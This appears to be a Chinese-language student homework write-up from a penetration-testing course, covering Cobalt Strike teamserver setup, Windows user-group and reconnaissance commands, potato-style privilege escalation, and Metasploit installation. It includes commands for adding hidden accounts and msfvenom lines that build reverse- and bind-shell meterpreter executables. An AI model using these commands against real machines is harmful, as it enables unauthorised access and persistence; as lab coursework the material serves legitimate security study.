文章目录
作业
1.CS的安装步骤
参考:
Cobalt Strike工具安装与基础使用_cobalt strike下载-CSDN博客
https://blog.csdn.net/qq_44159028/article/details/118157559
后渗透工具-CobaltStrike使用教程(安装及简单用法)_cobaltstrike的使用和安装unbuntu-CSDN博客
安装
cobalt_strike_4.7启动报错.teamserver: 行 6: .TeamServerImage: 权限不够(解决方法)_cobalt strike 权限不够-CSDN博客
报错
cobalt strike出现连接超时情况解决办法 - anweilx - 博客园 (cnblogs.com)
!!!记得配置云服务器的防火墙出站入站规则
启动
服务器端 ./teamserver 47.109.194.23 110
客户端进行连接
2.总结用户组和用户、windows信息搜集命令
新增用户 | net user [username ] [password]/add |
---|---|
删除用户 | net user [username ] /delete |
新增隐藏用户 | net user [username]$ [password] |
删除隐藏用户 | net user [username ] /delete |
新增用户组 | net localgroup [groupname] /add |
删除用户组 | net localgroup [groupname] /delete |
添加用户到用户组 | net localgroup [groupname] [username] /add |
从用户组中删除用户 | net localgroup [groupname] [username] /delete |
查询系统信息 | systeminfo |
主机名 | hostname |
查看用户信息 | net user |
查看服务pid号 | netstat -ano |
查看系统名 | wmic os get caption |
查看补丁信息 | wmic qfe get Description,HotFixID,InstalledOn |
查看当前安装程序 | wmic product get name,version |
查询本机服务 | wmic service list brief |
查询本机进程 | wmic process list brief |
查看本机共享列表 | net share |
查看防火墙配置 | netsh firewall show config |
查看当前用户 | whoami |
显示本地计算机或远程计算机上当前正在运行的进程列表 | tasklist |
3.总结手工提权思路,使用土豆提权
1.总结
找系统缺失的补丁,找对应的提权漏洞,进行提权
2.土豆提权
4.用CS插件提权,提虚拟机或本地都行
在阿里云上启动server
客户端进行连接
并生成可执行权限
将生成的可执行文件放入windows server 2022,点击进行上线
完成提权
Windows提权——知识点
思路:找系统缺失的补丁,打漏洞
类型:
1、Web到Win系统提权-权限差异原因
2、Web到Win系统提权-溢出漏洞(MSF&CS)
3、Web到Win系统提权-集成软件(工具Bypass)
原理:
利用 Windows 系统本身存在的内核溢出漏洞,这些漏洞可能是由于程序在处理输入数据时没有正确边界检查,导致缓冲区溢出,使得攻击者可以覆盖关键的内存区域,如函数返回地址等,从而执行恶意代码来提升权限。
信息收集
要搜集的信息大致如下几点:
机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况
工具
Cobait
参考:
Cobalt Strike工具安装与基础使用_cobalt strike下载-CSDN博客
https://blog.csdn.net/qq_44159028/article/details/118157559
后渗透工具-CobaltStrike使用教程(安装及简单用法)_cobaltstrike的使用和安装unbuntu-CSDN博客
安装
添加执行权限
报错
cobalt strike出现连接超时情况解决办法 - anweilx - 博客园 (cnblogs.com)
启动
./teamserver 47.109.194.23 110
确定服务端
客户端连接
监听
生成Windows Executable程序
添加插件
MSF渗透框架
安装
curl [https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb](https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb) > msfinstall && \chmod 755 msfinstall && \./msfinstall
使用
Show options == options
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe | |
---|---|
正向shell | msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe # #lhost是受害主机ip, lport是受害机的端口 |
反向shell | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口 |